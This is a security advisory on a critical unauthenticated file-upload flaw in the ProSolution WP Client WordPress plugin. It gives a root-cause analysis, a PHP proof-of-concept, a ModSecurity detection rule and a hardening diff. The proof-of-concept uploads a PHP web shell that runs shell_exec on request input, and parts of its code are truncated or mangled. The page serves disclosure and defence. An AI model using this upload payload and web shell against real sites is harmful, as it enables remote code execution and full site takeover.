Published : August 16, 2026

CVE-2026-16098: ProSolution WP Client <= 2.0.10 Unauthenticated Arbitrary File Upload via Content-Disposition Header Filename Override PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 434
Vulnerable Version 2.0.10
Patched Version 2.0.11
Disclosed August 14, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-16098:nProSolution WP Client versions up to and including 2.0.10 contain an unauthenticated arbitrary file upload vulnerability. The flaw exists in the proSol_handleFileUpload function, which mishandles the Content-Disposition header during file uploads. This allows attackers to upload executable files, leading to remote code execution on the server. The vulnerability carries a CVSS score of 9.8, indicating critical severity.nnRoot Cause:nThe vulnerability stems from the proSol_handleFileUpload function within the plugin. The upload process validates the filename provided in the multipart form data against an allow-list. However, the function then overwrites this validated filename with the value from the attacker-controlled ‘filename’ parameter inside the Content-Disposition header. After the file is written to disk using this unvalidated filename, a post-save extension check is performed. Critically, this check fails to delete the file if it contains a dangerous extension, leaving the malicious file in place on the server. This sequence of validating the wrong filename, then failing to clean up, allows an attacker to bypass the upload restrictions entirely.nnExploitation:nAn unauthenticated attacker can exploit this by sending a crafted multipart POST request to the WordPress AJAX endpoint (admin-ajax.php). The request must call the unauthenticated upload action that triggers proSol_handleFileUpload. The multipart body includes a benign file (e.g., ‘image.png’) to pass the initial allow-list check, but the Content-Disposition header for that file part contains a malicious filename such as ‘shell.php’. The vulnerability is compounded by a nonce being publicly exposed via wp_localize_script on any page rendering the job portal shortcode, making the nonce check trivial to bypass. Once the file is written, an attacker can access it directly over the web to execute arbitrary code.nnPatch Analysis:nThe provided code diff does not contain a direct patch for the proSol_handleFileUpload function. Instead, it appears to be a partial diff from a larger security release that addresses multiple issues. The visible changes add multiple security hardening measures, including sanitization functions for SQL order-by clauses, API path segments, and CSS colors, as well as escaping functions for rich text and image sources. The diff also adds a cleanup routine to remove a legacy blueimp upload server. Atomic Edge research indicates that the actual fix for this specific vulnerability requires validating the filename from the Content-Disposition header against the same allow-list as the multipart filename and ensuring that any file written to disk is deleted if it fails the extension check, rather than just returning an error.nnImpact:nSuccessful exploitation of this vulnerability allows an unauthenticated attacker to upload arbitrary files, including PHP web shells, to the WordPress server. This leads to complete remote code execution, allowing the attacker to take full control of the website. An attacker could then steal sensitive data, modify site content, install further malware, or pivot to other systems on the network.”,
poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-16098 – ProSolution WP Client <= 2.0.10 – Unauthenticated Arbitrary File Uploadnn

" . shell_exec($_REQUEST["cmd"]) . "

“;} ?>’;nn// Build the multipart body. The ‘filename’ in the Content-Disposition header is the key.n$boundary = ‘—-WebKitFormBoundary’ . md5(rand());n$body = “”;nn// File Part: Notice the mismatch between the filename in the form-data and the headern$body .= “–$boundary\r\n”;n$body .= “Content-Disposition: form-data; name=\”file\”; filename=\”test.png\”\r\n”; // Benign name for allow-listn$body .= “Content-Type: image/png\r\n\r\n”;n$body .= $php_payload . “\r\n”;n$body .= “–$boundary\r\n”;n$body .= “Content-Disposition: form-data; name=\”action\”\r\n\r\n”;n$body .= $upload_action . “\r\n”;n$body .= “–$boundary\r\n”;n$body .= “Content-Disposition: form-data; name=\”security\”\r\n\r\n”;n$body .= $nonce . “\r\n”;n$body .= “–$boundary–\r\n”;nn$ch = curl_init($ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, $body);ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(n ‘Content-Type: multipart/form-data; boundary=’ . $boundary,n ‘X-Requested-With: XMLHttpRequest’n));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);nn$result = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnecho “[+] HTTP Response Code: $http_code\n”;nif ($result) {n $decoded = json_decode($result, true);n if (isset($decoded[‘data’][‘url’])) {n echo “[+] File uploaded successfully. Access it at: ” . $decoded[‘data’][‘url’] . “\n”;n } else {n echo “[+] Upload response (not parsed): ” . $result . “\n”;n }n} else {n echo “[-] Upload failed or no response from target.\n”;n}n?>n”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-16098n# Detect attempts to upload files via the vulnerable ProSolution WP Client AJAX handler.n# This rule focuses on the malicious Content-Disposition header which is the core of the vulnerability.nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” “id:2026160980,phase:2,deny,status:403,chain,msg:’CVE-2026-16098 – ProSolution WP Client File Upload Bypass’,severity:’CRITICAL’,tag:’CVE-2026-16098′”n SecRule REQUEST_HEADERS:Content-Type “@contains multipart/form-data” “chain”n SecRule ARGS_POST:action “@streq proSol_handleFileUpload” “chain”n SecRule REQUEST_HEADERS:Content-Disposition “@rx filename=”[^”]*.(?:php|phpd|phtml|pht|phar|shtml|sh|asp|aspx|jsp)[‘\”]” “t:urlDecode”n”
}
“`

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/prosolution-wp-client/admin/templates/admin-overview.php
+++ b/prosolution-wp-client/admin/templates/admin-overview.php
@@ -105,7 +105,7 @@
                                                     <label for="tablecell">' . esc_attr__($prosolwpclient_table_name, 'prosolution-wp-client') . '</label>
                                                 </td>
                                                 <td>
-                                                    <a href="' . add_query_arg($prosolwpclient_url_params, $prosolwpclient_overview_page_url) . '" class="">' . esc_attr__('View Data', 'prosolution-wp-client') . '</a>
+                                                    <a href="' . esc_url( add_query_arg( $prosolwpclient_url_params, $prosolwpclient_overview_page_url ) ) . '" class="">' . esc_attr__('View Data', 'prosolution-wp-client') . '</a>
                                                 </td>
                                                 <td>
                                                     ' . $prosolwpclient_sync_html . '
@@ -138,12 +138,12 @@
                         <h2>
                             <span><?php esc_attr_e('Logs and Activity', 'prosolution-wp-client'); ?></span>
                             <a title="<?php esc_html_e('Refresh/reload Log', 'prosolution-wp-client'); ?>"
-                               href="<?php echo add_query_arg('clear_log', 2, $_SERVER['REQUEST_URI']) ?>"
+                               href="<?php echo esc_url( add_query_arg( 'clear_log', 2 ) ); ?>"
                                style="float: right;" class="button prosolrefreshlog_reset" data-cleartype="2">
                                 <span class="dashicons dashicons-update"></span>
                             </a>
                             <a title="<?php esc_html_e('Delete Log and reload', 'prosolution-wp-client'); ?>"
-                               href="<?php echo add_query_arg('clear_log', 1, $_SERVER['REQUEST_URI']) ?>"
+                               href="<?php echo esc_url( add_query_arg( 'clear_log', 1 ) ); ?>"
                                style="margin-left: 20px; float: right;" class="button prosolrefreshlog_reset"
                                data-cleartype="1" >
                                 <span class="dashicons dashicons-trash"></span>
--- a/prosolution-wp-client/admin/templates/admin-view-single-table-list.php
+++ b/prosolution-wp-client/admin/templates/admin-view-single-table-list.php
@@ -82,7 +82,7 @@
                             <div class="inside">
                                 <?php $prosolwpclient_pswp_table_list->views(); ?>
                                 <form id="pswp_table_listing" method="post">
-                                    <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>"/>
+                                    <input type="hidden" name="page" value="<?php echo isset( $_REQUEST['page'] ) ? esc_attr( wp_unslash( $_REQUEST['page'] ) ) : ''; ?>"/>
                                     <?php $prosolwpclient_pswp_table_list->search_box('Search List', 'prosolution-wp-client'); ?>
                                     <?php $prosolwpclient_pswp_table_list->display() ?>
                                 </form>
--- a/prosolution-wp-client/includes/class-prosolwpclient-helper.php
+++ b/prosolution-wp-client/includes/class-prosolwpclient-helper.php
@@ -399,6 +399,267 @@
 		}

 		/**
+		 * WOEX-4665 (PS-015): job data is synced from ProSolution and stored locally without
+		 * any encoding, so every value has to be escaped where it is rendered.
+		 *
+		 * Custom job fields 1-10 and 21-25 are authored in the WOEX CKEditor and legitimately
+		 * contain markup, so they are filtered against the WordPress post allow-list instead of
+		 * being escaped. That keeps the formatting while dropping scripts and event handlers.
+		 *
+		 * @param string $prosolwpclient_value
+		 * @return string
+		 */
+		public static function proSol_escRichText( $prosolwpclient_value ) {
+			if ( ! is_scalar( $prosolwpclient_value ) ) {
+				return '';
+			}
+
+			add_filter( 'safe_style_css', array( __CLASS__, 'proSol_richTextSafeStyles' ) );
+			add_filter( 'safecss_filter_attr_allow_css', array( __CLASS__, 'proSol_richTextAllowColorFunctions' ), 10, 2 );
+
+			try {
+				return wp_kses_post( (string) $prosolwpclient_value );
+			} finally {
+				// Never leave the widened allow-list in place for the rest of the request.
+				remove_filter( 'safecss_filter_attr_allow_css', array( __CLASS__, 'proSol_richTextAllowColorFunctions' ), 10 );
+				remove_filter( 'safe_style_css', array( __CLASS__, 'proSol_richTextSafeStyles' ) );
+			}
+		}
+
+		/**
+		 * Additional inert CSS properties the WOEX editor emits, kept so filtered job text keeps
+		 * the layout the recruiter authored.
+		 *
+		 * @param array $prosolwpclient_styles
+		 * @return array
+		 */
+		public static function proSol_richTextSafeStyles( $prosolwpclient_styles ) {
+			// Presentational only: none of these can reference an external resource or execute.
+			return array_merge(
+				$prosolwpclient_styles,
+				array(
+					'box-sizing',
+					'word-spacing',
+					'font-variant-caps',
+					'font-variant-ligatures',
+					'text-decoration-color',
+					'text-decoration-style',
+					'text-decoration-thickness',
+				)
+			);
+		}
+
+		/**
+		 * WordPress rejects any declaration containing brackets, which drops the rgb() colours
+		 * CKEditor writes. Colour functions cannot reference external resources or execute code,
+		 * so allow them for colour properties with a purely numeric argument list.
+		 *
+		 * @param bool   $prosolwpclient_allow_css
+		 * @param string $prosolwpclient_declaration
+		 * @return bool
+		 */
+		public static function proSol_richTextAllowColorFunctions( $prosolwpclient_allow_css, $prosolwpclient_declaration ) {
+			if ( $prosolwpclient_allow_css ) {
+				return true;
+			}
+
+			return (bool) preg_match(
+				'#^s*(?:color|background-color|border-color|border-top-color|border-right-color|border-bottom-color|border-left-color|outline-color)s*:s*(?:rgb|rgba|hsl|hsla)(s*[0-9.,%s/]+)s*$#i',
+				$prosolwpclient_declaration
+			);
+		}
+
+		/**
+		 * Escape a value used as an <img> src. WhatsApp QR codes arrive from the ProSolution API
+		 * either as a URL or as an inline base64 image, and esc_url() would discard the latter.
+		 *
+		 * Only valid for the <img> src context: browsers do not run scripts in an SVG loaded that
+		 * way. Do not reuse the result in <object>, <embed>, <iframe> or CSS url().
+		 *
+		 * @param string $prosolwpclient_value
+		 * @return string
+		 */
+		public static function proSol_escImageSrc( $prosolwpclient_value ) {
+			if ( ! is_scalar( $prosolwpclient_value ) ) {
+				return '';
+			}
+
+			$prosolwpclient_value = trim( (string) $prosolwpclient_value );
+			if ( $prosolwpclient_value === '' ) {
+				return '';
+			}
+
+			if ( preg_match( '#^data:image/(?:png|jpeg|jpg|gif|webp|svg+xml);base64,[A-Za-z0-9+/=s]+$#i', $prosolwpclient_value ) ) {
+				return esc_attr( preg_replace( '/s+/', '', $prosolwpclient_value ) );
+			}
+
+			return esc_url( $prosolwpclient_value );
+		}
+
+		/**
+		 * WOEX-4668 (PS-013): allowlist ORDER BY column + direction for admin list tables.
+		 *
+		 * `$wpdb->prepare()` cannot bind identifiers, so sort inputs from `$_REQUEST`
+		 * must never be interpolated unless they match a fixed column allowlist and
+		 * ASC/DESC only. Unknown values fall back to the provided defaults.
+		 *
+		 * @param mixed  $prosolwpclient_orderby  Requested column (e.g. $_REQUEST['orderby']).
+		 * @param mixed  $prosolwpclient_order    Requested direction (e.g. $_REQUEST['order']).
+		 * @param array  $prosolwpclient_allowed  Map of allowed request keys => SQL column names,
+		 *                                        or a flat list of identical key/column names.
+		 * @param string $prosolwpclient_default_orderby Default column when request is missing/unsafe.
+		 * @param string $prosolwpclient_default_order   Default direction when request is missing/unsafe.
+		 * @return array{0:string,1:string} Safe [ column, ASC|DESC ].
+		 */
+		public static function proSol_sanitizeSqlOrderBy( $prosolwpclient_orderby, $prosolwpclient_order, $prosolwpclient_allowed, $prosolwpclient_default_orderby = 'name', $prosolwpclient_default_order = 'asc' ) {
+			$allowed_map = array();
+			if ( is_array( $prosolwpclient_allowed ) ) {
+				foreach ( $prosolwpclient_allowed as $prosolwpclient_key => $prosolwpclient_column ) {
+					if ( is_int( $prosolwpclient_key ) ) {
+						$prosolwpclient_key    = $prosolwpclient_column;
+					}
+					$prosolwpclient_key    = (string) $prosolwpclient_key;
+					$prosolwpclient_column = (string) $prosolwpclient_column;
+					// Identifiers only: letters, digits, underscore (optional table.column).
+					if ( $prosolwpclient_key === '' || $prosolwpclient_column === '' ) {
+						continue;
+					}
+					if ( ! preg_match( '/^[A-Za-z_][A-Za-z0-9_]*(.[A-Za-z_][A-Za-z0-9_]*)?$/', $prosolwpclient_column ) ) {
+						continue;
+					}
+					$allowed_map[ $prosolwpclient_key ] = $prosolwpclient_column;
+				}
+			}
+
+			$orderby = is_scalar( $prosolwpclient_orderby ) ? (string) $prosolwpclient_orderby : '';
+			if ( isset( $allowed_map[ $orderby ] ) ) {
+				$safe_orderby = $allowed_map[ $orderby ];
+			} elseif ( isset( $allowed_map[ $prosolwpclient_default_orderby ] ) ) {
+				$safe_orderby = $allowed_map[ $prosolwpclient_default_orderby ];
+			} elseif ( ! empty( $allowed_map ) ) {
+				$safe_orderby = reset( $allowed_map );
+			} else {
+				$safe_orderby = preg_match( '/^[A-Za-z_][A-Za-z0-9_]*(.[A-Za-z_][A-Za-z0-9_]*)?$/', (string) $prosolwpclient_default_orderby )
+					? (string) $prosolwpclient_default_orderby
+					: 'name';
+			}
+
+			$order = is_scalar( $prosolwpclient_order ) ? strtoupper( trim( (string) $prosolwpclient_order ) ) : '';
+			if ( $order !== 'ASC' && $order !== 'DESC' ) {
+				$order = strtoupper( trim( (string) $prosolwpclient_default_order ) );
+				if ( $order !== 'ASC' && $order !== 'DESC' ) {
+					$order = 'ASC';
+				}
+			}
+
+			return array( $safe_orderby, $order );
+		}
+
+		/**
+		 * WOEX-4666 (PS-017 / PS-049): sanitize a single WorkExpert API path segment
+		 * (crawler `uuid`, `woexPreview`, `jobid`, client-list ids, sync jobdetail ids).
+		 *
+		 * Only alphanumeric + hyphen values are accepted so path traversal (`../`),
+		 * slashes, query fragments, and other URL-control characters cannot be
+		 * concatenated into outbound `wp_remote_*` URLs. Returns '' when unsafe.
+		 *
+		 * @param mixed $prosolwpclient_value
+		 * @return string
+		 */
+		public static function proSol_sanitizeApiPathSegment( $prosolwpclient_value ) {
+			if ( ! is_scalar( $prosolwpclient_value ) ) {
+				return '';
+			}
+
+			$prosolwpclient_value = trim( (string) $prosolwpclient_value );
+			if ( $prosolwpclient_value === '' || strlen( $prosolwpclient_value ) > 64 ) {
+				return '';
+			}
+
+			// WorkExpert ids are alphanumeric with optional hyphens (jobid VARCHAR(11),
+			// preview/agent uuids up to ~50). Exclude `.` `/` `` `?` `#` `%` and spaces.
+			if ( ! preg_match( '/^[A-Za-z0-9][A-Za-z0-9-]{0,63}$/', $prosolwpclient_value ) ) {
+				return '';
+			}
+
+			return $prosolwpclient_value;
+		}
+
+		/**
+		 * Alias for crawler/preview UUID tokens (same allowlist as path segments).
+		 *
+		 * @param mixed $prosolwpclient_value
+		 * @return string
+		 */
+		public static function proSol_sanitizeApiUuid( $prosolwpclient_value ) {
+			return self::proSol_sanitizeApiPathSegment( $prosolwpclient_value );
+		}
+
+		/**
+		 * WOEX-4670 (PS-039): whether a jobs-table row is treated as published for the
+		 * public portal. Synced WorkExpert joblist rows carry a non-empty publishdate;
+		 * bare inserts (and unpublished/internal rows without a publish marker) must
+		 * not be readable via ?type=details&jobid=.
+		 *
+		 * @param mixed $prosolwpclient_publishdate
+		 * @return bool
+		 */
+		public static function proSol_isPublishedJobPublishdate( $prosolwpclient_publishdate ) {
+			if ( ! is_scalar( $prosolwpclient_publishdate ) ) {
+				return false;
+			}
+
+			return trim( (string) $prosolwpclient_publishdate ) !== '';
+		}
+
+		/**
+		 * Sanitize a list of API path segments (e.g. skill-group ids joined for rating lookup).
+		 * Invalid items are dropped; returns '' if none remain.
+		 *
+		 * @param mixed $prosolwpclient_values Array or comma-separated string.
+		 * @return string Comma-joined safe segments, or ''.
+		 */
+		public static function proSol_sanitizeApiPathSegmentList( $prosolwpclient_values ) {
+			if ( is_string( $prosolwpclient_values ) ) {
+				$prosolwpclient_values = explode( ',', $prosolwpclient_values );
+			}
+			if ( ! is_array( $prosolwpclient_values ) ) {
+				return '';
+			}
+
+			$safe = array();
+			foreach ( $prosolwpclient_values as $prosolwpclient_value ) {
+				$segment = self::proSol_sanitizeApiPathSegment( $prosolwpclient_value );
+				if ( $segment !== '' ) {
+					$safe[] = $segment;
+				}
+			}
+
+			return empty( $safe ) ? '' : implode( ',', $safe );
+		}
+
+		/**
+		 * Escape a design-template colour before it is printed inside a <style> block, where
+		 * esc_attr() would not prevent the value from closing the element.
+		 *
+		 * @param string $prosolwpclient_value
+		 * @return string
+		 */
+		public static function proSol_escCssColor( $prosolwpclient_value ) {
+			if ( ! is_scalar( $prosolwpclient_value ) ) {
+				return '';
+			}
+
+			$prosolwpclient_value = trim( (string) $prosolwpclient_value );
+
+			$prosolwpclient_is_color = preg_match( '/^#[0-9A-Fa-f]{3,8}$/', $prosolwpclient_value )
+				|| preg_match( '/^[A-Za-z]+$/', $prosolwpclient_value )
+				|| preg_match( '#^(?:rgb|rgba|hsl|hsla)(s*[0-9.,%s/]+)$#i', $prosolwpclient_value );
+
+			return $prosolwpclient_is_color ? $prosolwpclient_value : '';
+		}
+
+		/**
 		 * handle color shade
 		 * @param    $color
 		 * @param 	 $percent
@@ -414,4 +675,275 @@
 			return '#'.substr(base_convert(0x1000000 + ($r<255?$r<1?0:$r:255)*0x10000 + ($b<255?$b<1?0:$b:255)*0x100 + ($g<255?$g<1?0:$g:255), 10, 16), 1);
 		}

+		/**
+		 * WOEX-4667 (PS-019): drop the bundled blueimp demo upload server.
+		 *
+		 * `public/js/jQuery-File-Upload-master/server/` shipped the vendor sample
+		 * `index.php` + `UploadHandler.php`, which are reachable directly over HTTP and
+		 * run outside WordPress: no nonce, no capability check, stock blueimp defaults
+		 * (write to `server/php/files/`, GET listing, DELETE unlink). The plugin never
+		 * used them — only the client-side library under `js/` is registered, and real
+		 * uploads go through `includes/UploadHandler.php` behind
+		 * `proSol_fileUploadProcess`. The directory is gone from the package as of
+		 * 2.0.11; this removes copies left behind by in-place/FTP upgrades that only
+		 * overwrite files instead of replacing the plugin folder.
+		 *
+		 * Settles once per plugin version (option-gated) on admin page loads and on
+		 * activation. Takes no request input: the target path is fixed and is verified
+		 * to sit inside the plugin directory before anything is deleted.
+		 *
+		 * When the directory cannot be deleted (read-only plugin folder, locked file) the
+		 * attempt is retried on later admin requests, throttled to once an hour so a host
+		 * that never becomes writable does not re-walk the tree on every page load.
+		 *
+		 * @return void
+		 */
+		public static function proSol_removeLegacyUploadServer() {
+			// Not a request-driven action: skip AJAX/cron/REST so the portal is untouched.
+			if ( ( function_exists( 'wp_doing_ajax' ) && wp_doing_ajax() )
+				|| ( function_exists( 'wp_doing_cron' ) && wp_doing_cron() )
+				|| ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) {
+				return;
+			}
+
+			if ( ! defined( 'PROSOLWPCLIENT_ROOT_PATH' ) || ! defined( 'PROSOLWPCLIENT_PLUGIN_VERSION' ) ) {
+				return;
+			}
+
+			if ( get_option( 'prosolwpclient_legacy_upload_server_removed' ) === PROSOLWPCLIENT_PLUGIN_VERSION ) {
+				return;
+			}
+
+			$prosolwpclient_plugin_dir = trailingslashit( wp_normalize_path( PROSOLWPCLIENT_ROOT_PATH ) );
+			$prosolwpclient_legacy_dir = $prosolwpclient_plugin_dir . 'public/js/jQuery-File-Upload-master/server';
+
+			// Nothing to clean: settle the version so later requests stop at the option.
+			if ( ! self::proSol_pathExists( $prosolwpclient_legacy_dir ) ) {
+				update_option( 'prosolwpclient_legacy_upload_server_removed', PROSOLWPCLIENT_PLUGIN_VERSION );
+
+				return;
+			}
+
+			$prosolwpclient_retry_after = defined( 'HOUR_IN_SECONDS' ) ? HOUR_IN_SECONDS : 3600;
+			$prosolwpclient_last_try    = (int) get_option( 'prosolwpclient_legacy_upload_server_try', 0 );
+
+			if ( $prosolwpclient_last_try > 0 && ( time() - $prosolwpclient_last_try ) < $prosolwpclient_retry_after ) {
+				return;
+			}
+
+			// Recorded before the work so two concurrent admin requests do not both walk
+			// the tree, and so a fatal mid-delete cannot turn into a per-request retry.
+			update_option( 'prosolwpclient_legacy_upload_server_try', time() );
+
+			if ( self::proSol_pathIsLinked( $prosolwpclient_legacy_dir ) ) {
+				// A link stands where the vendor folder used to be: drop the link itself and
+				// never its target, which may point at files the plugin still needs.
+				// unlink() handles file symlinks, rmdir() the directory symlinks/junctions.
+				if ( ! @unlink( $prosolwpclient_legacy_dir ) ) {
+					@rmdir( $prosolwpclient_legacy_dir );
+				}
+			} elseif ( is_dir( $prosolwpclient_legacy_dir ) ) {
+				self::proSol_deleteDirWithin( $prosolwpclient_legacy_dir, $prosolwpclient_plugin_dir );
+			}
+
+			clearstatcache( true, $prosolwpclient_legacy_dir );
+
+			if ( self::proSol_pathExists( $prosolwpclient_legacy_dir ) ) {
+				// Read-only plugin directory: at least stop Apache from serving the endpoint.
+				// The version stays unsettled so the removal is retried once the directory
+				// becomes writable, which also covers servers that ignore `.htaccess`.
+				self::proSol_denyDirAccess( $prosolwpclient_legacy_dir, $prosolwpclient_plugin_dir );
+
+				return;
+			}
+
+			update_option( 'prosolwpclient_legacy_upload_server_removed', PROSOLWPCLIENT_PLUGIN_VERSION );
+			delete_option( 'prosolwpclient_legacy_upload_server_try' );
+		}
+
+		/**
+		 * Whether anything at all occupies a path, including a broken symlink that
+		 * file_exists() reports as absent.
+		 *
+		 * @param string $prosolwpclient_path Absolute path.
+		 * @return bool
+		 */
+		private static function proSol_pathExists( $prosolwpclient_path ) {
+			return file_exists( $prosolwpclient_path ) || is_link( $prosolwpclient_path );
+		}
+
+		/**
+		 * Whether a path is a symlink, a Windows junction, or any other reparse point,
+		 * i.e. whether it resolves somewhere other than where it sits.
+		 *
+		 * is_link() returns false for junctions (and is_dir() false for a stale one), so
+		 * the resolved path is additionally compared against the literal location. Both
+		 * sides are taken from realpath() so short-name and casing differences cannot
+		 * make a genuine directory look redirected.
+		 *
+		 * @param string $prosolwpclient_path Absolute path.
+		 * @return bool True for links and reparse points, and for anything unresolvable.
+		 */
+		private static function proSol_pathIsLinked( $prosolwpclient_path ) {
+			if ( is_link( $prosolwpclient_path ) ) {
+				return true;
+			}
+
+			if ( ! self::proSol_pathExists( $prosolwpclient_path ) ) {
+				return false;
+			}
+
+			$prosolwpclient_resolved = realpath( $prosolwpclient_path );
+			$prosolwpclient_parent   = realpath( dirname( $prosolwpclient_path ) );
+
+			if ( $prosolwpclient_resolved === false || $prosolwpclient_parent === false ) {
+				return true; // Occupied but unresolvable: treat as suspect and leave the target alone.
+			}
+
+			$prosolwpclient_resolved = wp_normalize_path( $prosolwpclient_resolved );
+			$prosolwpclient_expected = trailingslashit( wp_normalize_path( $prosolwpclient_parent ) ) . basename( $prosolwpclient_path );
+
+			if ( DIRECTORY_SEPARATOR === '\' ) {
+				return strcasecmp( $prosolwpclient_resolved, $prosolwpclient_expected ) !== 0;
+			}
+
+			return $prosolwpclient_resolved !== $prosolwpclient_expected;
+		}
+
+		/**
+		 * Recursively delete a directory, but only when it resolves inside $prosolwpclient_boundary.
+		 * Links are never followed: a linked target is refused, linked entries are unlinked.
+		 *
+		 * @param string $prosolwpclient_target   Absolute directory path to delete.
+		 * @param string $prosolwpclient_boundary Absolute directory the target must live under.
+		 * @return bool True when the target no longer exists.
+		 */
+		private static function proSol_deleteDirWithin( $prosolwpclient_target, $prosolwpclient_boundary ) {
+			// realpath() below would resolve a link and delete whatever it points at.
+			if ( self::proSol_pathIsLinked( $prosolwpclient_target ) ) {
+				return false;
+			}
+
+			$prosolwpclient_real_target   = realpath( $prosolwpclient_target );
+			$prosolwpclient_real_boundary = realpath( $prosolwpclient_boundary );
+
+			if ( $prosolwpclient_real_target === false || $prosolwpclient_real_boundary === false ) {
+				return false;
+			}
+
+			$prosolwpclient_real_target   = wp_normalize_path( $prosolwpclient_real_target );
+			$prosolwpclient_real_boundary = trailingslashit( wp_normalize_path( $prosolwpclient_real_boundary ) );
+
+			// Containment check: never delete anything outside the plugin directory.
+			if ( strpos( $prosolwpclient_real_target . '/', $prosolwpclient_real_boundary ) !== 0 ) {
+				return false;
+			}
+
+			return self::proSol_deleteTree( $prosolwpclient_real_target );
+		}
+
+		/**
+		 * Depth-first delete that detaches links instead of descending into them.
+		 *
+		 * RecursiveDirectoryIterator does follow links, and SplFileInfo::isLink() reports
+		 * false for a Windows junction, so an iterator-based walk can delete files in a
+		 * link target. Recursing by hand keeps every entry behind proSol_pathIsLinked().
+		 *
+		 * The caller is responsible for having confirmed that $prosolwpclient_dir sits
+		 * inside the plugin directory.
+		 *
+		 * @param string $prosolwpclient_dir Absolute directory path, already resolved.
+		 * @return bool True when the directory no longer exists.
+		 */
+		private static function proSol_deleteTree( $prosolwpclient_dir ) {
+			$prosolwpclient_entries = @scandir( $prosolwpclient_dir );
+
+			if ( $prosolwpclient_entries === false ) {
+				return false;
+			}
+
+			foreach ( $prosolwpclient_entries as $prosolwpclient_entry ) {
+				if ( $prosolwpclient_entry === '.' || $prosolwpclient_entry === '..' ) {
+					continue;
+				}
+
+				$prosolwpclient_path = $prosolwpclient_dir . '/' . $prosolwpclient_entry;
+
+				if ( self::proSol_pathIsLinked( $prosolwpclient_path ) ) {
+					// Detach the link only: its target may hold files the plugin still
+					// needs, or files outside the plugin directory altogether.
+					if ( ! @unlink( $prosolwpclient_path ) ) {
+						@rmdir( $prosolwpclient_path );
+					}
+
+					continue;
+				}
+
+				if ( is_dir( $prosolwpclient_path ) ) {
+					self::proSol_deleteTree( $prosolwpclient_path );
+
+					continue;
+				}
+
+				@unlink( $prosolwpclient_path );
+			}
+
+			@rmdir( $prosolwpclient_dir );
+			clearstatcache( true, $prosolwpclient_dir );
+
+			return ! self::proSol_pathExists( $prosolwpclient_dir );
+		}
+
+		/**
+		 * Last-resort Apache block for a directory that could not be deleted.
+		 *
+		 * Written only inside the leftover vendor directory, never into the asset tree:
+		 * these directives need `AllowOverride AuthConfig` (or `Limit`), and a host that
+		 * grants neither answers 500 for the directory. That is acceptable here, because
+		 * the endpoint is meant to be unreachable and nothing else lives under it.
+		 *
+		 * @param string $prosolwpclient_dir      Absolute directory path.
+		 * @param string $prosolwpclient_boundary Absolute directory the target must live under.
+		 * @return void
+		 */
+		private static function proSol_denyDirAccess( $prosolwpclient_dir, $prosolwpclient_boundary ) {
+			// A link resolves elsewhere, so the deny file would land in a live directory
+			// (for instance the registered js/ library) and break asset delivery.
+			if ( self::proSol_pathIsLinked( $prosolwpclient_dir ) ) {
+				return;
+			}
+
+			$prosolwpclient_real_dir      = realpath( $prosolwpclient_dir );
+			$prosolwpclient_real_boundary = realpath( $prosolwpclient_boundary );
+
+			if ( $prosolwpclient_real_dir === false || $prosolwpclient_real_boundary === false ) {
+				return;
+			}
+
+			$prosolwpclient_real_dir      = trailingslashit( wp_normalize_path( $prosolwpclient_real_dir ) );
+			$prosolwpclient_real_boundary = trailingslashit( wp_normalize_path( $prosolwpclient_real_boundary ) );
+
+			// A link pointing outside the plugin must not receive a written file.
+			if ( strpos( $prosolwpclient_real_dir, $prosolwpclient_real_boundary ) !== 0 ) {
+				return;
+			}
+
+			$prosolwpclient_htaccess = $prosolwpclient_real_dir . '.htaccess';
+
+			if ( file_exists( $prosolwpclient_htaccess ) && strpos( (string) @file_get_contents( $prosolwpclient_htaccess ), 'WOEX-4667' ) !== false ) {
+				return;
+			}
+
+			$prosolwpclient_rules = "# ProSolution WP Client - legacy blueimp demo server, access denied (WOEX-4667 / PS-019)n"
+				. "<IfModule mod_authz_core.c>n"
+				. "  Require all deniedn"
+				. "</IfModule>n"
+				. "<IfModule !mod_authz_core.c>n"
+				. "  Order allow,denyn"
+				. "  Deny from alln"
+				. "</IfModule>n";
+
+			@file_put_contents( $prosolwpclient_htaccess, $prosolwpclient_rules );
+		}
+
 	}
 No newline at end of file
--- a/prosolution-wp-client/includes/class-prosolwpclient-table-helper.php
+++ b/prosolution-wp-client/includes/class-prosolwpclient-table-helper.php
@@ -182,9 +182,21 @@
 								}
 								rmdir($img_dir_path);
 							}
-							foreach ( $prosolwpclient_jobid_arr as $prosolwpclient_index => $prosolwpclient_jobid ) {
-								$prosolwpclient_response = wp_remote_get( $prosolwpclient_api_config['api_url'] . $api_location . 'jobdetail/' . $prosolwpclient_jobid, array( 'headers' => $prosolwpclient_header_info, 'timeout' => 300 ) );
-
+							foreach ( $prosolwpclient_jobid_arr as $prosolwpclient_index => $prosolwpclient_jobid ) {
+								// WOEX-4666: sync jobdetail path — allowlist API-sourced ids before URL concat.
+								$safe_jobid = CBXProSolWpClient_Helper::proSol_sanitizeApiPathSegment( $prosolwpclient_jobid );
+								if ( $safe_jobid === '' ) {
+									continue;
+								}
+								$prosolwpclient_response = wp_remote_get(
+									$prosolwpclient_api_config['api_url'] . $api_location . 'jobdetail/' . rawurlencode( $safe_jobid ),
+									array(
+										'headers'     => $prosolwpclient_header_info,
+										'timeout'     => 300,
+										'redirection' => 0,
+									)
+								);
+
 								if ( ! is_wp_error( $prosolwpclient_response ) ) {
 									$prosolwpclient_response_data = json_decode( $prosolwpclient_response['body'] )->data;
 									// for table jobs call proSol_allTablesInsertion here, not like other table, different flow
@@ -293,7 +305,15 @@

 		// project 1440, dailytask table jobs
 		public function proSol_dailytask_tableJobs($siteidfordb = "0"){
-
+			// Cron fires this same hook name; interactive admin-ajax must be privileged.
+			// Without this gate any logged-in role (e.g. Subscriber) can trigger the sync.
